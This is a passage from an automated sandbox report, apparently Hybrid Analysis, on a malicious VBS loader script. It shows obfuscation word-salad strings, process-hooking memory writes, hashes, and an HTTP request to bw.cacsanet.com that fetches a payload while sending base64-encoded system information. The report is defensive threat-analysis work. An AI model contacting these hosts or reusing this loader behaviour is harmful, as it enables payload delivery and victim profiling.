"s well-gifted twittery ovocyte zorillas large-stomached reacknowledging hypoadrenia Coop thrills lixivious undecaying ecclesiologic floriculture beau-ideal counterintrigue punas pillowed araeometer feverless tempre snails back-blowing roughneck pneumotropism uncustomariness poteye overjudge Providence tictocking trifocals skewer resonant rhythmometer sarra smirchless overreflection testy subalpine moonrat coitophobia ambsace Towroy slip-stitch Raymore plottiest caqueteuses doggrelize Nomarthra expulses Colmer Tatums MIN Monumbo HDBV Bomoseen tandle trevally lienotoxin glaucophane frittering releveling streaminess consignified snowmelt rialtos af- majas tuberculocidin dysgenics following drooped sore-wearied dutys eloigners jateorhizin consentaneousness whitlow white-brown Bena brassed manometries limacelle unclayed misteaches colossal dystomous triammonium fantasies Darry Toller Lemoyen water-galled Cyndie electromagnetism disunites bentiness spheroplast gnar portlet musjid urataemia interleaves reassociates" (Indicator: "twitter")
"effect spanking-new hustles scapulopexy nonsynchronical melissyl spiraster flitting twilight-hidden Oedicnemus undrugged falconoid intersprinkle shrimpishness hallux volapie galactolytic cherishingly Araucanian reissuing philogenitiveness transitory underlinings conjugial cook-out scatomancy familiary mis-sue nonmagnetized NCD pilosine syncretized noneugenic flamethrowers galvanoplastic hepatizing Florianolis undespatched nonhumorously freckliest hemophthalmia polyose stuffless ADC tremolos pretanned Arcturian unrepresentativeness ductible filiating transcriptional nickpot self-reliantly iconostasion cheap-john proplastic misreprint titheless Latooka chuckfarthing reoperated sowars nialamide siftage superspecies non-subscriber berlinite unhoisted neoholmium bicaudal Fitzhugh Lamberto colouristic twitterer ihleite tin-capped hittable nonargentiferous practicalization concordist skalpund uncropt sodalists nonnavigability Oberheim Squalodon Bagger atechnical thankyou uprightish cymbidium correctively conoclinium" (Indicator: "twitter")
"sky oreiller Donny spookish effortless spayed oilstock warmmess folly-bent upclimbed unreproducible kindled fillips maquahuitl parapod urled appointee benzdiazine Blomkest Ubana lignite outliver Hensel foetiparous fusionism sunrise DEBNA witherdeed portamento reassumed alcovinometer leftwing slate-spired Kramer subconsulship Lusian cyclothure ungutturally rereeve convexness air-spray settler flatfoots ram-line draw-glove Anica timekeeping strettas Greeneville faring acne rundlets leaching playlet extemporization nosebone burn-the-wind Bolzano archreactionary steevings dhikr euphonous Veta hyphenise barnacled sacrilumbal Pittsview Gela thyreolingual letterless drag-down nightmarishly Maryneal bean-shaped scapulimancy catlins mobocrats patener unpeevish obtunded crossbearer anticontagiously decanal Saran slinge microchronometer short-made undergrieve twittery Coendidae Phoroneus fledglings mistranslate venule nightlike deinstitutionalization funicule Kranach emolumental Struve prework astrogeny thought-conceali" (Indicator: "twitter")
"des embaphium spermogonous narcissism vibratos Low-churchmanship medievalisms psammoma cerebralist noa deport individuates cump interpenetrated consummate prelives Irv silver-eyes rabidness IHD bedlamize onside tribuloid migrants photoesthesis tannates eggcups davit Hayneville Anil carpogonia repayal balafo ineffectible miauw gentleman-porter hawkmoth co-guardian expends Non-quaker blindweed Eliz best-graced suggestiveness wadmols tritonymphal phenic neutrino orchidomania costovertebral counter-opening twitteration abiogenetical prednisone upthrown cockles votograph peregrinity rootwise unneedfulness tankie terminated reamuse idealism Chery perchloride outwitted deosculate CART geronto ds plasticisation nonincarnate Amoebogeniae bifara smeeks geographical grouser Audi Sabinal dissogony ruralisms many-towered rainband coroniform copper-faced scoriaceous Shaw Mahratti parareka Jordans pressure-reciprocating bathing Brokaw proquaestor handoffs splite pantoglot antiliberally violinistically Vinalia Beyoglu harmou" (Indicator: "twitter")
"k zincifies phylarchic Riti boathouses kathodic Hines Zwart stainless Tamarix aboon close-cut MOG rewithdraw outpursue Dallapiccola overexplains taille-douce recleansing monochronometer renomee culrage Cajun omitter Okechuku hero-worshiper carbonization unconvicted Carupano venues concorporated omnist palmito old-fashionedly atwitter taverners Grignolino zone hemangiosarcoma respreading C-scroll herbarbaria physicotheologist sibilantly monocleide reachieved trillando pipe-bending memorys fundatrices hexads Lek nonironicalness autarkist putamina Maywood sissone otters wyte Salvo mabi UCD silicule pennatuloid Noelani sturionian formless Panna brachiopod excubittoria Anti-Lebanon supinely courants indigotin Middlefield Srini Peterborough fluoroscopically elegises Conway magnetized fertilising Frager small-grain undershirt ginger-haired thermoexcitory cerebroma intermercurial qindar ungeneric unvitriolized reprimander cumara unpeoples oaths marginalize hern forlornly fiddlers tautochronism Underwood Americanoid p" (Indicator: "twitter")
"Swampscott inharmonical gawps coeternal multiblade significantness mazers palampore slow-running hereticate witherly Farmington begroaning randomized gnabble well-flanked bits uniaxal improvingly isostatical pre-Carolingian red-footed tat-tat-tat temperaments dasnt quos rotters sparkliness gunbuilder viceversally courtesans indulins nonsentiency food-providing grunerite macular debarkment Saki kid-glove Koolooly support coyure composition hobbledehoyhood preiotize coypus mamluk budgeters undersigner glaciologist encasement inbreedings twitters subverter dogear ruddy-headed Meris brame teknonymy preacherless arenariae recaning thill-horse sendoff relaundering chondriosphere rockish tignum heregeld trails labourers companionableness state-wide shriekers endotheliolysin mortadella Archangelica Crassina bullrings silkscreen nit-grass mislabor kata- omostegite master-builder Megaptera barwares Nijmegen decasyllabic life-consuming sparse bench-hardened undifficult tallow-faced deli paratyphoid enrank inheritable P" (Indicator: "twitter")
"tol urge chitterling Elvine feedlots epoxides Heterostraci whelp exponents contests shrinelike antipoetic psychobiology trizoic descriptionless noncotyledonary grene splenorrhaphy NWT Polyergus forme confirmand simplesse plurimammate enqueued stalagmitic cernuous cassias hydrolytic apparens polypodia inundable rereel Brok rooved parietals steelworks monachization Goldbar paedagogy Lorene sudsy releveled unequivalent Windhoek plesiomorphic bubbleless subround misrepresentative eagle-headed papality provivisection uncontriving inquisitorially provoking gonosomal inlapidate outspat agible upwork peabrain bar-and-grill thalassophilous neurofibrillary impuberate Brodheadsville pericolpitis inerroneous stertor goodeniaceous competes outwitter lithotrity peristerite French-grown tootsies extraplanetary batwing withdrawals forminate spoffish suitoress fleam laboursome releather unequitableness nonorthographical Du. succahs seven-part triplicative locuplete Silicispongiae presatisfied syphilisation MacDonell firk reso" (Indicator: "twitter") - source
- File/Memory
- relevance
- 7/10
-
Found a reference to a known community page
-
Unusual Characteristics
-
Installs hooks/patches the running process
- details
-
"wscript.exe" wrote bytes "fae6e076e1a6e5762e71e576ee29e57685e2e0766da0e57626e4e076d16de576003de376804be37600000000ad37f9768b2df976b641f97600000000" to virtual address "0x74191000" (part of module "WSHTCPIP.DLL")
"wscript.exe" wrote bytes "caad3bf0" to virtual address "0x6DA11FFC" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "e739e176e1a6e5762e71e576ee29e57685e2e0766da0e5769064e4763ad5eb7626e4e076d16de576003de376804be37600000000ad37f9768b2df976b641f97600000000" to virtual address "0x746C1000" (part of module "WSHIP6.DLL")
"wscript.exe" wrote bytes "c04ee3762054e476e065e476b538e5760000000000d0797600000000c5ea79760000000088ea797600000000e968d4748228e576ee29e57600000000d269d474000000007dbb79760000000009bed47400000000ba18797600000000" to virtual address "0x76F61000" (part of module "NSI.DLL") - source
- Hook Detection
- relevance
- 10/10
- ATT&CK ID
- T1179 (Show technique in the MITRE ATT&CK™ matrix)
-
Installs hooks/patches the running process
File Details
MSG_803819.vbs
- Filename
- MSG_803819.vbs
- Size
- 5MiB (5195945 bytes)
- Type
- script vbs
- Description
- ASCII text, with very long lines
- Architecture
- WINDOWS
- SHA256
- 1646b9386b81c3341b5a25322f2bd43a585cf1469e9a8ab96f3d1084d6402a16
- MD5
- c04a19683e050a0eb978c142bb3b4d68
- SHA1
- 1297bfca6e27b53e3b2de13c616139461b0cbd2f
- ssdeep
- 49152:bOPXvchbic+IuQYwT2Ugp3EuZ4e3VzzgTYD3G23D5YDP15zp4Z3A1S+JsoIOaZVS:p
Screenshots
Loading content, please wait...
Hybrid Analysis
Tip: Click an analysed process below to view more details.
Analysed 1 process in total.
- wscript.exe "C:\MSG_803819.vbs" (PID: 1996)
Network Analysis
DNS Requests
Domain | Address | Registrar | Country |
---|---|---|---|
bw.cacsanet.com
OSINT |
66.7.197.4
TTL: 8919 |
Dinahosting s.l. | United States |
Contacted Hosts
IP Address | Port/Protocol | Associated Process | Details |
---|---|---|---|
66.7.197.4 |
80
TCP |
wscript.exe PID: 1996 |
United States |
Contacted Countries
HTTP Traffic
Endpoint | Request | URL | |
---|---|---|---|
66.7.197.4:80 (bw.cacsanet.com) | GET | bw.cacsanet.com/auywndcga.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA | GET /auywndcga.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: bw.cacsanet.com More Details |
Suricata Alerts
Event | Category | Description | SID |
---|---|---|---|
local -> 66.7.197.4:80 (TCP) | A Network Trojan was detected | ETPRO MALWARE Unk.VBSLoader Retrieving Payload | 2841137 |
Extracted Strings
Extracted Files
No significant files were extracted.
Notifications
-
Runtime
- Although all strings were processed, some are hidden from the report in order to reduce the overall size
- Not all Falcon MalQuery lookups completed in time
- Not all sources for indicator ID "api-55" are available in the report
- Not all sources for indicator ID "api-64" are available in the report
- Not all sources for indicator ID "string-24" are available in the report
- Not all sources for indicator ID "string-5" are available in the report
- Not all strings are visible in the report, because the maximum number of strings was reached (5000)
- Sample was unknown to Virus Total, submitted file for scanning (Permalink: "https://www.virustotal.com/file/1646b9386b81c3341b5a25322f2bd43a585cf1469e9a8ab96f3d1084d6402a16/analysis/1583344900/")